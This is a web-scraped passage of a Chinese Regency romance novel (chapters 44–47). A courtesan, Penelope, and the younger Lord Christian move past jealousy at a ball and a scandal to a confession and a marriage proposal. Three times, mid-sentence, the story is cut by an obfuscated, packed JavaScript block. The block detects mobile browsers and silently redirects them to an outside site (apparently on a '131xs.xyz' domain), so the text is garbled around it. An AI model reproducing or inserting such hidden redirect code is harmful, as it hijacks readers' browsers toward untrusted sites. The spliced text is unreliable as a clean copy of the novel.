“而且她曾经跟朗斯通勋爵的关系……你们听说了吗？现在安娜贝尔女爵可是他的焦点。啧，我就知道，他对她也就是年轻小伙子一时的新鲜，男人嘛，最喜欢的永远是十七岁的。” 佩内洛普对这些话充耳不闻，端起一杯香槟，缓缓地走向舞池边缘。她看似悠闲，实则不动声色地寻找着克里斯蒂安的身影。 果然，他在不远处，正站在安娜贝尔·灵伍德女爵的身旁。 安娜贝尔穿着一袭象牙白的薄纱裙，宛如夜色中的皎月，青春美好。她的脸上带着羞涩的神情，正仰头望着克里斯蒂安，而克里斯蒂安低头，似乎在认真听她说话。 两人看起来颇为亲密。 佩内洛普的指尖收紧，心头浮现出一丝强烈的不适。 莎拉凑到她耳边，小声道：“你还觉得无所谓吗？” 佩内洛普抿了抿唇，道：“他们看起来天造地设，非常登对。” 克里斯蒂安与安娜贝尔正谈笑风生，眼中似乎只剩下彼此的世界。 安娜贝尔的笑容明媚，眼里充满了欣喜，而克里斯蒂安也因为她的年轻和热情，显得格外放松。然而，在她的笑声与眼神交织的间隙，克里斯蒂安的视线不自觉地扫过舞厅，最终还是在惊讶中定格在了佩内洛普的身上。 佩内洛普站在那里，酒红色的长裙在灯光下闪烁着柔和的光泽，她的气质依旧优雅，犹如一朵独立的花朵。 他心头的某根弦悄然震动。佩内洛普不再是那位在他生活中无可替代的女人，却依然在他的视线里，只是仿佛变成了一个遥不可及的存在。 他想着自己身边陪着的女士，本能地向着佩内洛普的方向走了一步，貌似是想要解释些什么，却自己都觉得自己十分可笑。 而佩内洛普，她意识到他注意到了自己的目光，立刻走到一边去与她的前情人珀西瓦尔爵士说话，仿佛不愿意被他发现自己的存在。 克里斯蒂安的心顿时沉了下去，那种嫉妒得发狂的感觉再度开始折磨他。 她决定重回珀西瓦尔爵士的怀抱了？那个男人一定正欣喜万分吧！也许这一次他们总算能结婚了！ 这种情绪真糟糕，他想，他明明告诉自己不再去想她，不再受她的影响，可是她的每个举动，依旧让他无法平静。她的目光、她的回避、甚至她与其他男人的交谈，都像是锋利的针，让他无法自持。 就在这时，他身边的安娜贝尔抬头看着他，脸上带着期待的笑容，仿佛在等待他做出回应。 “朗斯通勋爵？”安娜贝尔轻声呼唤。 他猛地回过神，迅速将所有的情感藏匿在心底，转向她：“安娜贝尔女爵，今晚真是一个美丽的夜晚。” 安娜贝尔轻轻笑了，似乎并不在意他这忽然的失神，反而是柔声开口道：“你似乎是有些心不在焉，爵爷，是不是我太打扰了你？” 克里斯蒂安抿了抿唇，心头那股无法言说的情绪越发强烈。但他压下了这些复杂的情感，微微低头，温和地回应：“没有，这怎么可能。” 他伸出手，邀请她道：“不如我们跳一支舞吧，今晚的舞会也该是属于我们的。” 跳一支舞，让他可以在动人的舞曲中忘记任何人。 安娜贝尔的眼睛亮了起来，她眼中的期待与兴奋一览无余，毫不犹豫地将手放在了克里斯蒂安的手心里。 佩内洛普站在不远处，看着克里斯蒂安与安娜贝尔走向舞池，心底那股难以言喻的不安与嫉妒愈发强烈，像是某种沉甸甸的重物压在她的胸口，让她的呼吸困难。她强迫自己转过头，走向另一侧，尽量避免再看下去。 然而，虽然她转身离开，心里依旧无法抑制那股撕裂般的痛楚。她知道，克里斯蒂安已经走得远，而她，依旧在原地踽踽独行。 她试图安慰自己，告诉自己这一切与她无关，告诉自己克里斯蒂安有权追求自己的幸福。但每当她看到他与安娜贝尔那亲密无间的样子时，内心的自卑与无力感便不自觉地涌上心头。她明白他不会再为她停留，而她，似乎也再也找不到自己能依靠的地方。 随着音乐的旋律渐渐激昂，克里斯蒂安与安娜贝尔在舞池中旋转着，步伐轻盈而优雅。安娜贝尔的笑容灿烂，眼中满是年轻的期待与热情，而克里斯蒂安则像是一个温文尔雅的绅士，似乎在尽力表现得随和。 尽管他与安娜贝尔的互动看似愉快，然而他的心神却不时地飘向了佩内洛普的方向。 佩内洛普站在一旁，手中端着香槟，面无表情地与人交谈。她站得不远不近，显然就是故意避开与他们有任何接触，但她的目光却如一根细线，将克里斯蒂安与安娜贝尔的一举一动牢牢锁定。 他的身体自然地轻微停顿了一下，安娜贝尔察觉到了他的迟疑，低声问：“怎么了，朗斯通勋爵？” 克里斯蒂安回过神来，强迫自己面带微笑，道：“没什么，安娜贝尔女爵，只是有些事情让我分心了。” 安娜贝尔十分敏感地察觉到他话语中的疏离，却依旧笑得天真：“我明白，舞会的气氛总是让人有些烦恼的。如果你觉得累了，待会可以休息一下。” 话音刚落，她便有意更靠近他了些，好显得他们亲密十足。 然而，克里斯蒂安的目光再一次不自觉地回到了佩内洛普身上。他强迫自己闭上眼睛，心中却在煎熬。佩内洛普的脸庞，依然那样熟悉，依然清晰地刻在他心里。 音乐渐渐转为柔和，克里斯蒂安勉强微笑，与安娜贝尔继续跳着，跳着，但他的心早已经离开了她。 他心里明白，自己无法从佩内洛普的目光中逃脱。他一直告诫自己，不能再让她影响自己的决定，不能再去回望那段不可能的爱情。但每一次在她眼中看到那种隐忍与冷漠时，他就感觉自己像是在被无形的链条拽回去，无法自拔。 随着舞曲的结束，安娜贝尔微微笑着停下步伐，俏皮道：“谢谢你，爵爷，那真是太美妙了。” 克里斯蒂安的心脏依然在砰砰直跳，但他努力保持着冷静，礼貌地点头：“我很高兴你喜欢。” 他说完，一双眼睛已没有再去看安娜贝尔，而是再次直直地落在了佩内洛普的身上。 佩内洛普的眼神与之前一样平静，仿佛他们之间从未有过什么。她依旧是那样安静地站在角落里，仿佛他在她的世界里一点也不重要。 他低下了头，恨意与迷茫交织成了一股无法言喻的痛楚。 别再看她了，他不能继续这样被她操 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545961|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵下去了。 “安娜贝尔女爵。”他忽然开口，“请你原谅我，我还有一些事情需要处理，只能先离开了。” 说完，克里斯蒂安礼貌地将她护送回监护人身边，便头也不回地离开了。 佩内洛普不停地抿着香槟，微微垂下眼睫，好掩盖住眼中的情绪。然而，她仍然敏锐地察觉到了克里斯蒂安的动作——他在舞曲结束后，并未继续留在安娜贝尔身边，而是向另一侧走去。 他的步伐有些急促，肩膀紧绷，仿佛是迫不及待要离开这个令人窒息的舞会。他甚至没有再看美丽的安娜贝尔女爵一眼，而安娜贝尔女爵显然也察觉到了他的异样，站在原地，脸上浮现出一丝不解与失落。 佩内洛普的指尖轻轻摩挲着杯壁，心里泛起一丝复杂的情绪。 她并不想承认，但她知道，自己对克里斯蒂安的每一个细微变化都过于敏感。他的离开……究竟意味着什么呢？是厌倦了舞会的喧嚣，还是——厌倦了年轻的安娜贝尔女爵？ 她的思绪微微紊乱，然而，一个熟悉而温和的声音打破了她的沉默。 “你似乎一直在看着朗斯通勋爵。” 佩内洛普回过神，看向一直站在她身旁的珀西瓦尔爵士。 珀西瓦尔爵士一袭剪裁合身的黑色礼服，衬得他整个人英俊而稳重，而她也曾迷恋过他的这副仪表。 此刻，他的神情并无半分讽刺，反而带着一抹温和的关切，仿佛早已经习惯了她对克里斯蒂安的过分在意。 佩内洛普微微一笑，举起酒杯：“你看错了，我只是恰好看到他离开。” 珀西瓦尔爵士的目光定定地落在了她的脸上，眼中闪过一丝复杂的光芒：“佩妮，我希望你不要欺骗自己。” 佩内洛普的笑意稍稍一滞，旋即，她轻轻地摇了摇头：“有些事情过去了，就是过去了，不是么？” 珀西瓦尔爵士没有立刻回答，而是静静地看着她，仿佛在等待她说出真正的答案。 可片刻之后，他只能无奈低声叹息：“如果真的是这样，那就太可惜了，我看得出来，你与他……” 佩内洛普没有让他说完，便立刻打断道：“珀西瓦尔，别说了！” 而他对她总是这么没办法。 为了让她忘掉不愉快，他微微侧身，伸出一只手，语气带着一丝俏皮：“愿意赏光与我跳一支舞吗，女士？” 佩内洛普微微一怔，抬眸看着他。在他深邃的眼神里，她读到了不加掩饰的真诚——不是同情，也不是怜悯，而是一种隐忍许久的情感。从第一次见到了她开始，他就一直留在原地，从未远离，只是她从来不曾真正回应过他的心意。 她甚至一面对他的求婚，直接就被吓得头也不回地跑了。 因为她从未爱过他。 她低头看了一眼自己的酒杯，轻轻笑了一声，最终将杯中残余的香槟一饮而尽。然后，她缓缓地将手放入珀西瓦尔爵士的掌心。 “当然。”她轻声道。 他们缓步走向舞池，乐声再度奏响。珀西瓦尔爵士揽着她的腰，牵起她的手，引导她优雅地旋转在灯光之下。 佩内洛普试图让自己放松，试图享受这场舞会的欢愉，甚至试图再次在这种暧昧的氛围中去理所当然地迷恋上珀西瓦尔，可她的思绪却还是不受控制地飘远。她的目光依旧会不自觉地投向那个方向——克里斯蒂安离开的方向，仿佛她的心，也随着他一道远去了。 45. Chapter 45 “我很想知道你到底怎么想的？” 当费思走进克里斯蒂安的起居室时，这个问题让他直起了身体。 “费思，我能想什么？” 她掀开他身边餐盘上面的银制盖子，果不其然看到里头的食物一点未动。 “你最近瘦了很多，也什么都不关心，我想我知道都是为谁。”费思道，“你可别胡说八道是为了安娜贝尔女爵，我非常清楚，你根本对安娜贝尔女爵一丝兴趣都没有，只是她在缠着你，你碍于礼节不能不搭理她。当然，她确实是个讨人喜欢的女孩，在你面前什么话题都能接得上，所以你们总能聊一聊，如果……” 她没有继续说下去了，但他们都清楚她在如果什么。 如果他不是一颗真心向着佩内洛普，安娜贝尔确实是个非常完美的选择。 可克里斯蒂安一想到这些事就心烦：“我不过是今天没什么胃口，我为什么要为了佩内洛普女爵而茶饭不思呢？” 费思用力地盖子盖了回去，微笑道：“我可没有说是为了‘佩内洛普女爵’。” 她刻意强调了佩内洛普的名字。 “这是你自己承认的。” 空气在一瞬间凝滞了，克里斯蒂安顿时有些尴尬。他下意识地想要反驳妹妹，但话到嘴边，却发现自己居然一时语塞。 最后，他只得硬着头皮强词夺理道：“我只是猜到了你脑子里都在想什么。别提她了，反正你向来不喜欢她。” 费思道：“我或许确实是不太喜欢她，但我也从来没有讨厌过她。” 闻言，克里斯蒂安颇有些意外：“你不讨厌她？那你之前还一直反对我们？我有段时间觉得你可能讨厌她胜过讨厌圣-约翰！” “我永远最讨厌圣-约翰，你不必怀疑这个。”费思道。 “她比你大十一岁，我只是做出了一个正常妹妹会有的反应。她太有阅历，而你正缺乏这些。要是她决心伤透你的心，实在太容易了，我一点也不想看到那种结果。” 克里斯蒂安脸色一沉，冷冷道：“她确实做到了。” 可费思却在他的眼神中，坚定地摇了摇头，道：“可我意识到我看错了她，她确实是真心爱你。” 就像是听到了一个天大的笑话一般，克里斯蒂安道：“如果她爱我，她为什么要和圣-约翰说关于我的事情？你看到报纸上怎么写了，我就是个笑话，现在全世界都在嘲笑我的缺陷。” 费思望着他，眼底闪过一丝不忍，但她的语气依旧坚定：“她为你流泪。” 克里斯蒂安怔了一下。 费思继续道：“在你受伤的那段时间，我常常来看你，我亲眼见过她如何照顾你。她在你面前，就像是最温柔最完美的护士，她细心地照料你，甚至在一旁心疼得偷偷落泪。她本可以让仆人代劳，但她选择了亲自来做这些辛苦事，你觉得这是为了什么？” 克里斯蒂安迅速别开视线，语气带着一丝防备：“她那只是一时的怜悯。” “如果她真的会是那样背信弃义的人，她不会在你最脆弱的时候不离不弃，更不会愿意亲手照顾你，你明明是明白这个道理的。那天的舞会上，她看见你和安娜贝尔女爵跳舞，她简直嫉妒得要命。” 没来由的，克里斯蒂安第一反应是，她嫉妒了？ “她有什么好嫉妒的？因为我不会再给她钱与珠宝了？” “这种刻薄话不适合你，你说出来自己最先伤心，不是么？” 确实，克里斯蒂安想。他无论想要怎样刻薄地对待佩内洛普，都是未必伤敌却先自损八百。 费思凝视着他，缓缓道：“她不可能会向圣-约翰透露那样的事情。作为一个同样深爱着一个男人的女人，我愿意相信她。” 克里斯蒂安咬紧了牙关，他完全无法理解自己的妹妹竟然要坚决为了那个她曾经无比看不上的女人辩护，这丫头执拗起来的样子一直都很惹人厌。 “她只是在用假象欺骗你，就像她曾经完美地欺骗了我一样。她背叛了我，费思，你明白吗？所以现在，我不会再去管她的事情了，我不在乎她了。” 然而，费思却绝不退让：“你曾经说，她是你的挚爱，我可还没忘呢。” 听到“挚爱”一词，克里斯蒂安的呼吸顿时一滞，天呐，他那个时候可真是个陷入爱情的白痴，蠢话连篇啊。 费思则轻轻地叹了一口气，继续道：“既然她是你的挚爱，那你至少该给她一个解释的机会，圣-约翰已经伏法，你们也该消除所有的误会，有个童话一般的结局了。” 克里斯蒂安的指尖微微收紧，心头莫名涌上一种难以言喻的烦躁。他不愿承认自己在意，可费思的话却像是一根细长的针，一点点扎进他内心最隐秘、最脆弱的地方。 他不愿再与费思争论，于是站起身，走向窗边。窗外的光线微微黯淡，沉沉的阴云压在天际，像极了他此刻的心情。 费思静静地看着克里斯蒂安的背影，沉默片刻后，缓缓开口道：“克里斯，你有没有想过，如果你真的一点也不在乎她了，又何必总是如此痛苦呢？” 克里斯蒂安的身形微微一震，但很快又恢复冷漠的神情：“我没有痛苦。” 费思轻笑了一声，带着几分无奈：“你都失眠、暴躁、食不下咽多少天了？只是在外面装得像模像样，现在，你却跟我说你没有痛苦？胡说八道！” 克里斯蒂安没有回答，他只是紧盯着窗外，像是在逃避，又像是在思索。 费思叹了口气，声音放缓了一些：“克里斯，我并不是来劝说你原谅她的，你知道我的个性。只是……你有没有想过，如果她确实是无辜的呢？” “无辜？”克里斯蒂安终于转过了身，冷冷地看向了费思，“她和圣-约翰之间的关系难道还不够说明问题吗？我不是没有问过她，只要她开口，就算是再苍白的解释，我都会选择相信。可是，她连一句话也没有说，她就那么冷漠地看着我，什么都默认了。” 而费思面对他冷冷的目光，直接回看了过去，没有丝毫退缩：“你说默认？所以你根本没有亲耳听到她承认过？” 克里斯蒂安的喉结微微滚动了一下，他想说“是的”， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568557|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但话到嘴边，却又说不出口。 他确实没有听到佩内洛普亲口承认。 所有的证据，全都是圣-约翰提供的，不论是那些报纸上的流言蜚语，那些趋炎附势的贵族们津津乐道的谈资，她在其中起到的作用是让所有人相信那是真的。 佩内洛普，从未亲口解释过什么。 也许她不想解释，可他也从未给她这个机会，他不愿意和她再说半个字，他已经被彻底伤透了心。 想到这里，他猛地抬起了头，眼神复杂地看着费思：“你是知道些什么吗？你必须告诉我！” 费思迎着他的目光，轻声道：“我就只是知道，佩内洛普她从未背叛过你。” 克里斯蒂安的呼吸顿时变得急促，他的指尖微微发颤，心脏像是被人狠狠攥住，窒息感一点点袭来。 “你在胡说。”他的声音低沉而沙哑，像是带着最后的固执。 费思却没有退让，她缓缓向前一步，眼神坚定：“我前些日子去见过她了，就在她被绑架后，我去慰问了一下。” 克里斯蒂安猛地睁大了眼睛。 “你瞒着我去见过她？”他几乎是咬着牙问出的这句话。 费思点了点头：“瞒着你怎么了，我现在又不需要受你的监护了，哥哥。” 克里斯蒂安的拳头缓缓收紧：“她……她都说了什么？” 费思深深看了他一眼，道：“事实上，她几乎什么有意义的话都没说。” 克里斯蒂安微微皱眉，似乎是不理解费思最后为什么会得出那样的结论。 费思继续道：“她只是问你还好吗。” 空气仿佛在这一刻凝固，克里斯蒂安的指尖松了又紧，紧了又松。他的喉咙发干，心脏像被人狠狠揪了一把。 他曾以为她可能会狡辩，会找借口，会试图解释一切。 可是她，什么都没说。 她只是，问他，还好吗？ 她依然在乎他、关心他，为什么？ 一瞬间，他忽然觉得，自己这些天以来的愤怒、怀疑、痛苦……似乎全都化成了一种说不清的情绪，在胸腔中翻涌，几乎就要将他吞没。 “克里斯。”费思的声音轻柔而温暖，“如果你心里还有一点点在乎她的话，就去问清楚，我听说她正准备出租她在伦敦的房子，搬到乡下去，远离名利场，你的机会已经不多了。而且，珀西瓦尔爵士可一直虎视眈眈呢。” 闻言，克里斯蒂安不由得愣住了。 他已经做好了被她折磨下去的准备，从没想过她会出租房子搬离伦敦。 所以，她这是准备要隐退了？ 她明明依旧年轻美丽，还能在伦敦风光好几年，为什么要直接隐退呢？ 还有珀西瓦尔爵士，他最嫉妒的男人之一，怎么就是这么阴魂不散。 克里斯蒂安没有说话，他的眼神微微闪烁，似乎在极力思考着什么。 良久，他缓缓吐出一口气，低声道：“我要见她，我必须见她，我要得到答案，许多许多的答案，她不说清楚，我绝不许她离开。” 46. Chapter 46 克里斯蒂安站在门口，手指僵硬地停在门铃上。他从未想过，有一天见她会如此艰难。 在这座房子里住着的女人，曾经是他最亲密的爱人，而现在，她却成为了他所有痛苦的源头。可即便如此，他还是来了。 他深吸一口气，准备按响门铃，结果一个人却正走出来。 珀西瓦尔爵士！ 而珀西瓦尔爵士的脚步也在门口微微一顿，显然对站在门前的克里斯蒂安感到意外。他目光微微一沉，随即恢复了一贯的从容，嘴角浮现出一抹若有似无的笑意。 “朗斯通勋爵，”珀西瓦尔微微颔首，语气礼貌而克制，“没想到会在这里遇见你。” “珀西瓦尔爵士。”克里斯蒂安的语气低沉，隐隐带着几分他根本克制不住的敌意，“你在这里做什么？” 珀西瓦尔爵士的笑意加深了一分，但眼神却未见半分退缩。 他轻轻地整理了一下袖口，似是随意地说道：“佩内洛普女爵的家，什么时候变成我不能拜访的地方了？” 克里斯蒂安的手缓缓收紧，他盯着珀西瓦尔，胸口有一股烦躁的情绪在翻涌。“她和你……现在是什么关系？” 他的语气冷硬，带着丝危险的锐利。 在珀西瓦尔爵士看来，这种话就更可笑了。 “朗斯通勋爵，你未免也太关注她的私事了。”他顿了顿，刻意压低了声音，“我以为你已经准备结婚了。” “我还没打算结婚。”克里斯蒂安道，“我想你也差不多吧。虽然你的死缠烂打颇有成效，但我很了解佩内洛普，她是个理性的女人，最多因为感动而一时犹豫，不然当年，你们都在一起五年了，她也不会还是坚持拒绝你的求婚了。” 被戳中了痛处，珀西瓦尔爵士的笑容终于消失了，他目光沉静地望着克里斯蒂安，缓缓道：“那她又会接受谁？朗斯通勋爵，我真是太好奇了，你现在是在以一种怎样的立场说这些话？” 相当不错的还击，克里斯蒂安想。 他为何站在这里说出这些话，整个人活像一个嫉妒狂？他明明告诉自己已经不在乎她了，他不该再来，可是最后，他竟然还是听从了他烦人的妹妹的话，他来到了她的家门前，甚至……连门铃都快按下去了。 他一言不发，脸色阴沉得可怕。 珀西瓦尔爵士看着这年轻人的神色，叹了口气，语气也顿时放轻了许多：“如果你真相信报纸上的话，并决心与她分开，就不该再出现在这里。” 说到这里，他停顿了一下，语气意味深长，“但如果你没有放下……并且还在考虑相信她。那么，朗斯通勋爵，你最好想清楚，你还能给她什么。因为她的心完全碎了。” 说完，他不再停留，微微一笑，从克里斯蒂安身边走过，步伐沉稳优雅，仿佛胜券在握。 克里斯蒂安站在原地，拳头死死地攥紧，门前的风拂过，吹乱了他本已烦躁不堪的思绪。 珀西瓦尔的话还在耳边回响，他却没有任何答案。 他是否真的放下了？他还能给佩内洛普什么？ 他一边想，一边走了进去。 管家里德对克里斯蒂安的到来也很惊讶，好在克里斯蒂安与珀西瓦尔爵士交谈了好一会儿，让他可以有时间使神色恢复如常。 他犹豫了一下，还是微微侧身，低声道：“你可以直接去见她，爵爷。” 克里斯蒂安点了点头，直接就走。 而里德看着克里斯蒂安那急匆匆的背影，也只能祈祷他能用魅力重新赢得佩内洛普的欢心，好让自己不至于被辞退。 当然了，最重要的是，在这个世上，也就只有他还有几分机会去化解女主人那数不清的愁绪，而他们所有人都是如此地关心佩内洛普。 克里斯蒂安走进佩内洛普的起居室，而此时，她手里拿着一份报纸，上面有关他们与圣-约翰三人的丑闻很是引人注目。她转过头来，看起来比他记忆中的模样还要更加憔悴。她面色苍白，眼底隐隐透着倦意，仿佛失眠已久，那袭淡色的长裙包裹着她瘦削的身形，让她显得格外脆弱。 可即便如此，意识到是他来了之后，她依旧维持着一贯的优雅。她抬起略带惊讶的眼眸，静静地看着他，像是在等待着他开口。 空气沉默了许久，直到克里斯蒂安终于找到自己的声音。 “我想，你知道我为什么来。” 佩内洛普微微颔首，语气平静：“费思已经告诉我了。” 这个称呼让克里斯蒂安微微一愣——她们甚至已经亲密到可以互称教名，而他呢？他们之间的距离却似乎越来越远。 他的拳头缓缓收紧，强迫自己不去在意她眼底那一闪而过的哀伤，也强迫自己不去在意心底那股莫名的不适，只是努力冷冷地开口：“她坚持要为你辩护，而我一向拿她没办法，所以，如果你没有背叛我，那就好好解释给我听。” 佩内洛普微微一怔，唇瓣微微开启，最终却只是淡淡地笑了笑，那笑意带着深深的疲惫与讽刺。 “我根本没有什么可解释的，爵爷。” 克里斯蒂安皱起了眉，道：“我以为我曾经说了好几遍，叫我克里斯蒂安。” “克里斯蒂安。” 她轻声重复他的名字，缓缓站起身，走到他面前，静静地看着他。 “在你看来，我背叛了你，不是吗？”她的声音很轻，轻得仿佛一片落叶，却藏着不可触碰的疏离，“那么，就这么以为下去吧，这样对你我都更好。” 克里斯蒂安的呼吸微微一滞。 她的眼神没有丝毫闪躲，坦然得让他几乎无法承受。 他猛地向前一步，语气急切且带着几分隐忍的怒火：“我就是想知道真相，为什么你一定要瞒着我？佩内洛普，你到底为什么和圣-约翰那种混蛋在一起，又到底有没有跟他说我的事情！告诉我！” “我和他为什么在一起？”佩内洛普反问道，她的语气像是听到了一个天大的笑话，“他提出要成为我的保护人，然后我点头同意了，这不是显而易见的事情吗？我是一个交际花，克里斯蒂安，我多年以来一直以此为生。” “所以我反而妨碍你做生意了？” 话音刚落，克里斯蒂安一看到她脸上浮现的神情，便心头一痛。 果然，伤敌一千，自损八百。 “不要对我撒谎。”克里斯蒂安猛然提高了音量，眼神灼灼地盯着她的脸，“我已经受够了你的谎言，那不是我认识的你，我始终坚信这个。” “我没有撒谎。”佩内洛普后退几步，拉开与他的距离，声音平静而固执，“这就是事实。” 她在玩文字游戏，克里斯蒂安想。 “也许你确实没有撒谎，但你一定省略了许多事情，”他看着她说，“也许，也许圣-约翰威胁了你，就像他威胁我一样。” “他能威胁我什么呢？”佩内洛普道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568558|167731||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“而且他现在一分钱也没有了，他的子爵兄长也显然不是很想管他的事情，他再也没法威胁其他任何人了，这件事就让它过去吧。” 他往前迈了几步重新走到她的面前。 “求你了，告诉我，他究竟是如何威胁你的？不要总是把我当成一个孩子，我有权知道事实真相，别让我痛苦。” 佩内洛普道：“我没有说他威胁我。” 她如此坚持着，并努力思索应该怎么让他不再继续逼问她。她比他大十一岁这个事实已经伤透了她的心，她只想一个人静悄悄地离开，而不是向他承认自己究竟有多爱他。 她在社交界一直备受追捧，她不想在感情上如此处于下风，她不想变成死乞白赖纠缠年轻人的可怜的老女人。 可是他还是问出来了：“你爱过我吗，佩内洛普？” 佩内洛普的呼吸微微一滞。 她的第一反应就是后退，好再次拉开与他的距离，让自己可以从容地思考如何回应。可克里斯蒂安已经近在咫尺，他的眼神紧紧地锁住她，像是要透过她的灵魂寻找答案。 “你爱过我吗？”克里斯蒂安低声重复道，嗓音沙哑而执着。 佩内洛普心口一紧，强迫自己维持住表面的平静。她缓缓抬眸，目光带着一丝刻意的疏远。 “爵爷。”她又故意用上了这个称呼，仿佛是在提醒他什么，“这个问题已经没有任何意义了。” 克里斯蒂安的眉头皱得更紧，眼底的怒意和不甘更甚。他猛地攥住了她的手腕，力道不重，却透着不容逃避的坚定。 “对你来说没有任何意义，对我来说却至关重要，佩内洛普，不要再躲了，你必须告诉我事实真相。” 佩内洛普想要抽回手，可克里斯蒂安不让。他的手掌滚烫，透着近乎灼人的温度，让她原本勉强维持的冷静在顷刻间瓦解。 “你不明白……”她低声道，眼神闪烁了一瞬。 “那就请你让我明白！”克里斯蒂安几乎是低吼出来的，他从未如此迫切地渴望一个答案，“佩内洛普，如果你真的不在乎我，那你就看着我的眼睛，告诉我，你对我没有一丁点感觉，你说呀！” 佩内洛普张了张嘴，想要如他所愿地撒谎，却根本连一个字都说不出来。 她能感觉到自己的心跳乱了节奏，甚至有些发颤。她想对他说谎，可她知道，自己根本骗不了他。她曾在无数个夜晚抚摸着他睡梦中的脸庞，曾在他受伤时守在他的床边落泪，曾在每一次离别前都舍不得放开他的手…… 她怎么可能不爱他呢？ 可是，她不能承认。 她已经三十六岁了，她老了，而他才二十五岁，年轻、炽热。他的未来还很长，他本可以拥有更好的选择，而不是被她这样一个年长又声名狼藉的女人拖住。她不能自私到让他沉溺在一段注定不被祝福的感情里。 于是，她深深地吸了一口气，压下心底所有的情绪，缓缓地开口。 “克里斯蒂安……”她的声音轻而微颤，“我……” 可她的话还没有说完，克里斯蒂安已经俯下身狠狠地吻住了她。 这个吻带着一丝疯狂，带着他所有的愤怒、不甘和深深的渴望。他不允许她继续逃避，不允许她再用谎言掩盖真相。他要她明白，他根本不在乎她的年龄，也不在乎那些流言蜚语，他只想要她，只想听到她亲口承认她的爱。 佩内洛普的脑海一片空白。 47. Chapter 47 佩内洛普几乎是本能地想要推开克里斯蒂安，可他的臂膀却牢牢箍住她的腰，带着不容拒绝的固执。他的吻急促而炽热，夹杂着愤怒、不甘，以及深藏已久的渴望，仿佛要将所有未曾诉说的情感倾注其中。 这一刻，她的理智彻底崩溃了。 她无法再欺骗自己，无法再假装对这一切都无动于衷。她的双手颤抖着缓缓地攀上他的肩膀，最终还是迎了上去，回应了这个吻。 他们紧紧相拥，仿佛要将那些误解、挣扎和痛苦一一拼凑，修补回那个早已支离破碎的过去。 良久，克里斯蒂安终于松开了她，将额头抵着她的，气息不稳地低语道：“你还想要继续骗我，让我伤心吗？” 佩内洛普闭了闭眼，喉咙发出一声哽咽，最终，她无力地叹了一口气。 “我爱你，克里斯蒂安。”她终于承认了这一点，声音低低的，像是对他，又更像是对自己的妥协，“你赢了，我确实爱你……但是这又能怎么样呢？” 克里斯蒂安的眼眶湿润了：“所以事实真相究竟是什么，他拿什么要挟你，我吗？他究竟从哪里知道的那些事？” 佩内洛普看着他，缓缓吐出一口气，继续妥协道：“是一个你熟悉的，欠了些钱的人，他告诉了圣-约翰一切。” 听到她这么说，克里斯蒂安很快就想通了一切的来龙去脉。 是他的堂亲丹尼尔！难怪这臭小子最近都不写信来哀求他帮忙还赌债了。真是，他就这一次没有选择帮那家伙还债，却直接就导致了这种结果！ 他猛地攥紧了拳头，咬紧了牙关道：“所以说，你全都是为了保护我？” 佩内洛普勉强扯了扯唇角，笑意淡得近乎苦涩：“可是事实证明，我只是犯了一个愚蠢的错误。你根本就不需要我的保护，你足够勇敢，足够强大，你完全可以独当一面。” 克里斯蒂安凝视着她，语气坚定而深沉：“我确实不需要你的保护，就像你其实也从不需要来自于我的保护。” 他的话意味深长，但佩内洛普已经没有力气去深究其中隐藏的含义。 下一刻，他缓缓伸手，从口袋里取出了一枚戒指，轻轻放在她的掌心。 “我来这里，确实是想要得到真相。”克里斯蒂安低声说着，整个人都开始放松了下来。 “但那也只是为了让我可以安心地向你求婚。因为我落网了，无药可救。” 佩内洛普的呼吸微微一滞，怔怔地看着那枚戒指。 承认自己爱上他是一回事，而婚姻……那就是另外一回事了。 顿时，她感到一阵莫名的恐惧涌上心头。长期的暧昧关系已然足够可耻，若是迈入婚姻，那就意味着她彻底无法再逃避这段感情，也意味着她将与他一起面对所有世俗的质疑、流言与诋毁。 而且，她根本一点也不适合他。 她几乎是严厉道：“别开玩笑了，我比你老太多了，而且你也有你的职责！” 可他却笑着说：“你现在这个口气已经开始像一位太太了！至于我的职责，我的什么职责？” “别闹了。”佩内洛普深吸一口气，强迫自己冷静下来，“你得有个继承人，不是吗？而我已经太老了，或许已经没机会再孕育孩子。你需要一个年轻的妻子，比如，比如安娜贝尔女爵，我想你们关系匪浅，她年轻漂亮，出身高贵，她远比我更适合你。” 一说出这个让她耿耿于怀的名字，她便转过了身，试图拉开他们之间的距离。可克里斯蒂安却一把扣住她的手腕，迫使她直视他的双眼。 “现在，我终于可以确定了。” 佩内洛普微微皱眉：“确定什么？” 克里斯蒂安目光灼灼：“你嫉妒了。” 这是事实，佩内洛普想，她当时嫉妒得都快要发疯了！她甚至直到现在都还在嫉妒，嫉妒那个女孩是如此的完美无缺。 但她仍选择强词夺理：“我没有，你与她本来就更合适，无论是年龄……” 